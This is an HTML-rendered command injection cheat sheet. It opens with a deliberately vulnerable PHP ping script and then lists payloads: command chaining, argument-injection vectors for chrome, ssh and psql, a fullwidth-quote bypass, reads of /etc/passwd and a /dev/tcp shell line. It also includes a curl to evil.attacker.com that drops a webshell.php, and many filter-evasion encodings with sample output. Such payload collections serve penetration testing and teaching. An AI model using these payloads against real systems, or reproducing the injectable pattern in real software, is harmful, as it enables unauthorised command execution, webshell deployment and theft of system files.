<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="cp"><?php</span>
|
||
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a> <span class="nv">$ip</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">];</span>
|
||
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a> <span class="nb">system</span><span class="p">(</span><span class="s2">"ping -c 4 "</span> <span class="o">.</span> <span class="nv">$ip</span><span class="p">);</span>
|
||
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="cp">?></span>
|
||
</code></pre></div>
|
||
<p>In the above code, the PHP script uses the <code>system()</code> function to execute the <code>ping</code> command with the IP address or domain provided by the user through the <code>ip</code> GET parameter.</p>
|
||
<p>If an attacker provides input like <code>8.8.8.8; cat /etc/passwd</code>, the actual command that gets executed would be: <code>ping -c 4 8.8.8.8; cat /etc/passwd</code>.</p>
|
||
<p>This means the system would first <code>ping 8.8.8.8</code> and then execute the <code>cat /etc/passwd</code> command, which would display the contents of the <code>/etc/passwd</code> file, potentially revealing sensitive information.</p>
|
||
<h3 id="basic-commands">Basic Commands</h3>
|
||
<p>Execute the command and voila :p</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="nb">cat </span><span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
||
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="n">daemon</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">1</span><span class="p">:</span><span class="n">1</span><span class="p">:</span><span class="n">daemon</span><span class="p">:/</span><span class="n">usr</span><span class="p">/</span><span class="n">sbin</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">sh</span>
|
||
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="n">bin</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">2</span><span class="p">:</span><span class="n">2</span><span class="p">:</span><span class="n">bin</span><span class="p">:/</span><span class="n">bin</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">sh</span>
|
||
<a id="__codelineno-1-5" name="__codelineno-1-5" href="#__codelineno-1-5"></a><span class="n">sys</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">3</span><span class="p">:</span><span class="n">3</span><span class="p">:</span><span class="n">sys</span><span class="p">:/</span><span class="n">dev</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">sh</span>
|
||
<a id="__codelineno-1-6" name="__codelineno-1-6" href="#__codelineno-1-6"></a><span class="p">...</span>
|
||
</code></pre></div>
|
||
<h3 id="chaining-commands">Chaining Commands</h3>
|
||
<p>In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands. </p>
|
||
<ul>
|
||
<li><code>;</code> (Semicolon): Allows you to execute multiple commands sequentially.</li>
|
||
<li><code>&&</code> (AND): Execute the second command only if the first command succeeds (returns a zero exit status).</li>
|
||
<li><code>||</code> (OR): Execute the second command only if the first command fails (returns a non-zero exit status).</li>
|
||
<li><code>&</code> (Background): Execute the command in the background, allowing the user to continue using the shell.</li>
|
||
<li><code>|</code> (Pipe): Takes the output of the first command and uses it as the input for the second command.</li>
|
||
</ul>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">command1</span><span class="p">;</span> <span class="n">command2</span> <span class="c"># Execute command1 and then command2</span>
|
||
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">command1</span> <span class="p">&&</span> <span class="n">command2</span> <span class="c"># Execute command2 only if command1 succeeds</span>
|
||
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="n">command1</span> <span class="p">||</span> <span class="n">command2</span> <span class="c"># Execute command2 only if command1 fails</span>
|
||
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="n">command1</span> <span class="p">&</span> <span class="n">command2</span> <span class="c"># Execute command1 in the background</span>
|
||
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="n">command1</span> <span class="p">|</span> <span class="n">command2</span> <span class="c"># Pipe the output of command1 into command2</span>
|
||
</code></pre></div>
|
||
<h3 id="argument-injection">Argument Injection</h3>
|
||
<p>Gain a command execution when you can only append arguments to an existing command.
|
||
Use this website <a href="https://sonarsource.github.io/argument-injection-vectors/">Argument Injection Vectors - Sonar</a> to find the argument to inject to gain command execution.</p>
|
||
<ul>
|
||
<li>
|
||
<p>Chrome
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">chrome</span> <span class="s1">'--gpu-launcher="id>/tmp/foo"'</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>SSH
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">ssh</span> <span class="s1">'-oProxyCommand="touch /tmp/foo"'</span> <span class="n">foo</span><span class="nv">@foo</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>psql
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">psql</span> <span class="n">-o</span><span class="s1">'|id>/tmp/foo'</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
</ul>
|
||
<p>Argument injection can be abused using the <a href="https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/">worstfit</a> technique.</p>
|
||
<p>In the following example, the payload <code>＂ --use-askpass=calc ＂</code> is using <strong>fullwidth double quotes</strong> (U+FF02) instead of the <strong>regular double quotes</strong> (U+0022)</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="x">$url = "https://example.tld/" . $_GET['path'] . ".txt";</span>
|
||
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="x">system("wget.exe -q " . escapeshellarg($url));</span>
|
||
</code></pre></div>
|
||
<p>Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.</p>
|
||
<ul>
|
||
<li>curl
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="c"># -o, --output <file> Write to file instead of stdout</span>
|
||
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="nb">curl </span><span class="n">http</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">attacker</span><span class="p">.</span><span class="n">com</span><span class="p">/</span> <span class="n">-o</span> <span class="n">webshell</span><span class="p">.</span><span class="n">php</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h3 id="inside-a-command">Inside A Command</h3>
|
||
<ul>
|
||
<li>Command injection using backticks.
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a>original_cmd_by_server<span class="w"> </span><span class="sb">`</span>cat<span class="w"> </span>/etc/passwd<span class="sb">`</span>
|
||
</code></pre></div></li>
|
||
<li>Command injection using substitution
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a>original_cmd_by_server<span class="w"> </span><span class="k">$(</span>cat<span class="w"> </span>/etc/passwd<span class="k">)</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h2 id="filter-bypasses">Filter Bypasses</h2>
|
||
<h3 id="bypass-without-space">Bypass Without Space</h3>
|
||
<ul>
|
||
<li><code>$IFS</code> is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret <code>$IFS</code> as a space. <code>$IFS</code> does not directly work as a separator in commands like <code>ls</code>, <code>wget</code>; use <code>${IFS}</code> instead.
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="n">cat</span><span class="p">${</span><span class="n">IFS</span><span class="p">}/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
||
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="n">ls</span><span class="p">${</span><span class="n">IFS</span><span class="p">}</span><span class="n">-la</span>
|
||
</code></pre></div></li>
|
||
<li>In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">{</span><span class="n">cat</span><span class="p">,/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span><span class="p">}</span>
|
||
</code></pre></div></li>
|
||
<li>Input redirection. The < character tells the shell to read the contents of the file specified.
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="n">cat</span><span class="p"></</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
||
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="n">sh</span><span class="p"></</span><span class="n">dev</span><span class="p">/</span><span class="n">tcp</span><span class="p">/</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">/</span><span class="n">4242</span>
|
||
</code></pre></div></li>
|
||
<li>ANSI-C Quoting
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">X</span><span class="p">=$</span><span class="s1">'uname\x20-a'</span><span class="p">&&</span><span class="nv">$X</span>
|
||
</code></pre></div></li>
|
||
<li>The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value <code>09</code>.
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="p">;</span><span class="n">ls</span><span class="k">%</span><span class="n">09-al</span><span class="k">%</span><span class="n">09</span><span class="p">/</span><span class="n">home</span>
|
||
</code></pre></div></li>
|
||
<li>In Windows, <code>%VARIABLE:~start,length%</code> is a syntax used for substring operations on environment variables.
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">ping</span><span class="k">%</span><span class="n">CommonProgramFiles</span><span class="p">:~</span><span class="n">10</span><span class="p">,-</span><span class="n">18</span><span class="k">%</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
||
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="n">ping</span><span class="k">%</span><span class="n">PROGRAMFILES</span><span class="p">:~</span><span class="n">10</span><span class="p">,-</span><span class="n">5</span><span class="k">%</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h3 id="bypass-with-a-line-return">Bypass With A Line Return</h3>
|
||
<p>Commands can also be run in sequence with newlines</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a>original_cmd_by_server
|
||
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a>ls
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-backslash-newline">Bypass With Backslash Newline</h3>
|
||
<ul>
|
||
<li>Commands can be broken into parts by using backslash followed by a newline
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="p">$</span> <span class="nb">cat </span><span class="p">/</span><span class="n">et</span><span class="p">\</span>
|
||
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="n">c</span><span class="p">/</span><span class="n">pa</span><span class="p">\</span>
|
||
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="n">sswd</span>
|
||
</code></pre></div></li>
|
||
<li>URL encoded form would look like this:
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="n">cat</span><span class="k">%</span><span class="n">20</span><span class="p">/</span><span class="n">et</span><span class="k">%</span><span class="n">5C</span><span class="k">%</span><span class="n">0Ac</span><span class="p">/</span><span class="n">pa</span><span class="k">%</span><span class="n">5C</span><span class="k">%</span><span class="n">0Asswd</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h3 id="bypass-with-tilde-expansion">Bypass With Tilde Expansion</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="nb">echo </span><span class="p">~+</span>
|
||
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="nb">echo </span><span class="p">~-</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-brace-expansion">Bypass With Brace Expansion</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="p">{,</span><span class="n">ip</span><span class="p">,</span><span class="n">a</span><span class="p">}</span>
|
||
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="p">{,</span><span class="n">ifconfig</span><span class="p">}</span>
|
||
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a><span class="p">{,</span><span class="n">ifconfig</span><span class="p">,</span><span class="n">eth0</span><span class="p">}</span>
|
||
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a><span class="p">{</span><span class="n">l</span><span class="p">,</span><span class="n">-lh</span><span class="p">}</span><span class="n">s</span>
|
||
<a id="__codelineno-20-5" name="__codelineno-20-5" href="#__codelineno-20-5"></a><span class="p">{,</span><span class="n">echo</span><span class="p">,</span><span class="c">#test}</span>
|
||
<a id="__codelineno-20-6" name="__codelineno-20-6" href="#__codelineno-20-6"></a><span class="p">{,$</span><span class="s2">"whoami"</span><span class="p">,}</span>
|
||
<a id="__codelineno-20-7" name="__codelineno-20-7" href="#__codelineno-20-7"></a><span class="p">{,/</span><span class="k">?</span><span class="n">s</span><span class="p">?/</span><span class="k">?</span><span class="n">i</span><span class="p">?/</span><span class="n">c</span><span class="k">?</span><span class="n">t</span><span class="p">,/</span><span class="n">e</span><span class="p">??/</span><span class="n">p</span><span class="p">?</span><span class="k">?</span><span class="n">s</span><span class="p">??,}</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-characters-filter">Bypass Characters Filter</h3>
|
||
<p>Commands execution without backslash and slash - linux bash</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">echo </span><span class="p">${</span><span class="n">HOME</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">1</span><span class="p">}</span>
|
||
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="p">/</span>
|
||
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a>
|
||
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">cat </span><span class="p">${</span><span class="n">HOME</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">1</span><span class="p">}</span><span class="n">etc</span><span class="p">${</span><span class="n">HOME</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">1</span><span class="p">}</span><span class="n">passwd</span>
|
||
<a id="__codelineno-21-5" name="__codelineno-21-5" href="#__codelineno-21-5"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
<a id="__codelineno-21-6" name="__codelineno-21-6" href="#__codelineno-21-6"></a>
|
||
<a id="__codelineno-21-7" name="__codelineno-21-7" href="#__codelineno-21-7"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">echo </span><span class="p">.</span> <span class="p">|</span> <span class="n">tr</span> <span class="s1">'!-0'</span> <span class="s1">'"-1'</span>
|
||
<a id="__codelineno-21-8" name="__codelineno-21-8" href="#__codelineno-21-8"></a><span class="p">/</span>
|
||
<a id="__codelineno-21-9" name="__codelineno-21-9" href="#__codelineno-21-9"></a>
|
||
<a id="__codelineno-21-10" name="__codelineno-21-10" href="#__codelineno-21-10"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="n">tr</span> <span class="s1">'!-0'</span> <span class="s1">'"-1'</span> <span class="p"><<<</span> <span class="p">.</span>
|
||
<a id="__codelineno-21-11" name="__codelineno-21-11" href="#__codelineno-21-11"></a><span class="p">/</span>
|
||
<a id="__codelineno-21-12" name="__codelineno-21-12" href="#__codelineno-21-12"></a>
|
||
<a id="__codelineno-21-13" name="__codelineno-21-13" href="#__codelineno-21-13"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">cat </span><span class="p">$(</span><span class="nb">echo </span><span class="p">.</span> <span class="p">|</span> <span class="n">tr</span> <span class="s1">'!-0'</span> <span class="s1">'"-1'</span><span class="p">)</span><span class="n">etc</span><span class="p">$(</span><span class="nb">echo </span><span class="p">.</span> <span class="p">|</span> <span class="n">tr</span> <span class="s1">'!-0'</span> <span class="s1">'"-1'</span><span class="p">)</span><span class="n">passwd</span>
|
||
<a id="__codelineno-21-14" name="__codelineno-21-14" href="#__codelineno-21-14"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-characters-filter-via-hex-encoding">Bypass Characters Filter Via Hex Encoding</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">echo </span><span class="n">-e</span> <span class="s2">"\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"</span>
|
||
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
||
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a>
|
||
<a id="__codelineno-22-4" name="__codelineno-22-4" href="#__codelineno-22-4"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">cat </span><span class="p">`</span><span class="nb">echo </span><span class="n">-e</span> <span class="s2">"\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"</span><span class="p">`</span>
|
||
<a id="__codelineno-22-5" name="__codelineno-22-5" href="#__codelineno-22-5"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
<a id="__codelineno-22-6" name="__codelineno-22-6" href="#__codelineno-22-6"></a>
|
||
<a id="__codelineno-22-7" name="__codelineno-22-7" href="#__codelineno-22-7"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="n">abc</span><span class="p">=$</span><span class="s1">'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'</span><span class="p">;</span><span class="nb">cat </span><span class="nv">$abc</span>
|
||
<a id="__codelineno-22-8" name="__codelineno-22-8" href="#__codelineno-22-8"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
<a id="__codelineno-22-9" name="__codelineno-22-9" href="#__codelineno-22-9"></a>
|
||
<a id="__codelineno-22-10" name="__codelineno-22-10" href="#__codelineno-22-10"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="p">`</span><span class="nb">echo </span><span class="p">$</span><span class="s1">'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'</span><span class="p">`</span>
|
||
<a id="__codelineno-22-11" name="__codelineno-22-11" href="#__codelineno-22-11"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
<a id="__codelineno-22-12" name="__codelineno-22-12" href="#__codelineno-22-12"></a>
|
||
<a id="__codelineno-22-13" name="__codelineno-22-13" href="#__codelineno-22-13"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="n">xxd</span> <span class="n">-r</span> <span class="n">-p</span> <span class="p"><<<</span> <span class="n">2f6574632f706173737764</span>
|
||
<a id="__codelineno-22-14" name="__codelineno-22-14" href="#__codelineno-22-14"></a><span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
||
<a id="__codelineno-22-15" name="__codelineno-22-15" href="#__codelineno-22-15"></a>
|
||
<a id="__codelineno-22-16" name="__codelineno-22-16" href="#__codelineno-22-16"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">cat </span><span class="p">`</span><span class="n">xxd</span> <span class="n">-r</span> <span class="n">-p</span> <span class="p"><<<</span> <span class="n">2f6574632f706173737764</span><span class="p">`</span>
|
||
<a id="__codelineno-22-17" name="__codelineno-22-17" href="#__codelineno-22-17"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
<a id="__codelineno-22-18" name="__codelineno-22-18" href="#__codelineno-22-18"></a>
|
||
<a id="__codelineno-22-19" name="__codelineno-22-19" href="#__codelineno-22-19"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="n">xxd</span> <span class="n">-r</span> <span class="n">-ps</span> <span class="p"><(</span><span class="nb">echo </span><span class="n">2f6574632f706173737764</span><span class="p">)</span>
|
||
<a id="__codelineno-22-20" name="__codelineno-22-20" href="#__codelineno-22-20"></a><span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
||
<a id="__codelineno-22-21" name="__codelineno-22-21" href="#__codelineno-22-21"></a>
|
||
<a id="__codelineno-22-22" name="__codelineno-22-22" href="#__codelineno-22-22"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="nb">cat </span><span class="p">`</span><span class="n">xxd</span> <span class="n">-r</span> <span class="n">-ps</span> <span class="p"><(</span><span class="nb">echo </span><span class="n">2f6574632f706173737764</span><span class="p">)`</span>
|
||
<a id="__codelineno-22-23" name="__codelineno-22-23" href="#__codelineno-22-23"></a><span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">root</span><span class="p">:/</span><span class="n">root</span><span class="p">:/</span><span class="n">bin</span><span class="p">/</span><span class="n">bash</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-single-quote">Bypass With Single Quote</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">w</span><span class="s1">'h'</span><span class="n">o</span><span class="s1">'am'</span><span class="n">i</span>
|
||
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="n">wh</span><span class="s1">''</span><span class="n">oami</span>
|
||
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="s1">'w'</span><span class="n">hoami</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-double-quote">Bypass With Double Quote</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="n">w</span><span class="s2">"h"</span><span class="n">o</span><span class="s2">"am"</span><span class="n">i</span>
|
||
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="n">wh</span><span class="s2">""</span><span class="n">oami</span>
|
||
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="s2">"wh"</span><span class="n">oami</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-backticks">Bypass With Backticks</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="n">wh</span><span class="p">``</span><span class="n">oami</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-backslash-and-slash">Bypass With Backslash and Slash</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="n">w</span><span class="p">\</span><span class="n">ho</span><span class="p">\</span><span class="n">am</span><span class="p">\</span><span class="n">i</span>
|
||
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="p">/\</span><span class="n">b</span><span class="p">\</span><span class="n">i</span><span class="p">\</span><span class="n">n</span><span class="p">/////</span><span class="n">s</span><span class="p">\</span><span class="nb">h</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with">Bypass With $@</h3>
|
||
<p><code>$0</code>: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, <code>$0</code> will typically give the name of the shell.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="n">who</span><span class="p">$</span><span class="nv">@ami</span>
|
||
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a><span class="nb">echo </span><span class="n">whoami</span><span class="p">|</span><span class="nv">$0</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with_1">Bypass With $()</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="n">who</span><span class="p">$()</span><span class="n">ami</span>
|
||
<a id="__codelineno-28-2" name="__codelineno-28-2" href="#__codelineno-28-2"></a><span class="n">who</span><span class="p">$(</span><span class="nb">echo </span><span class="n">am</span><span class="p">)</span><span class="n">i</span>
|
||
<a id="__codelineno-28-3" name="__codelineno-28-3" href="#__codelineno-28-3"></a><span class="n">who</span><span class="p">`</span><span class="nb">echo </span><span class="n">am</span><span class="p">`</span><span class="n">i</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-variable-expansion">Bypass With Variable Expansion</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="p">/???/?</span><span class="k">?</span><span class="n">t</span> <span class="p">/???/</span><span class="n">p</span><span class="p">?</span><span class="k">?</span><span class="n">s</span><span class="p">??</span>
|
||
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a>
|
||
<a id="__codelineno-29-3" name="__codelineno-29-3" href="#__codelineno-29-3"></a><span class="n">test</span><span class="p">=/</span><span class="n">ehhh</span><span class="p">/</span><span class="n">hmtc</span><span class="p">/</span><span class="n">pahhh</span><span class="p">/</span><span class="n">hmsswd</span>
|
||
<a id="__codelineno-29-4" name="__codelineno-29-4" href="#__codelineno-29-4"></a><span class="nb">cat </span><span class="p">${</span><span class="n">test</span><span class="p">//</span><span class="n">hhh</span><span class="p">\/</span><span class="n">hm</span><span class="p">/}</span>
|
||
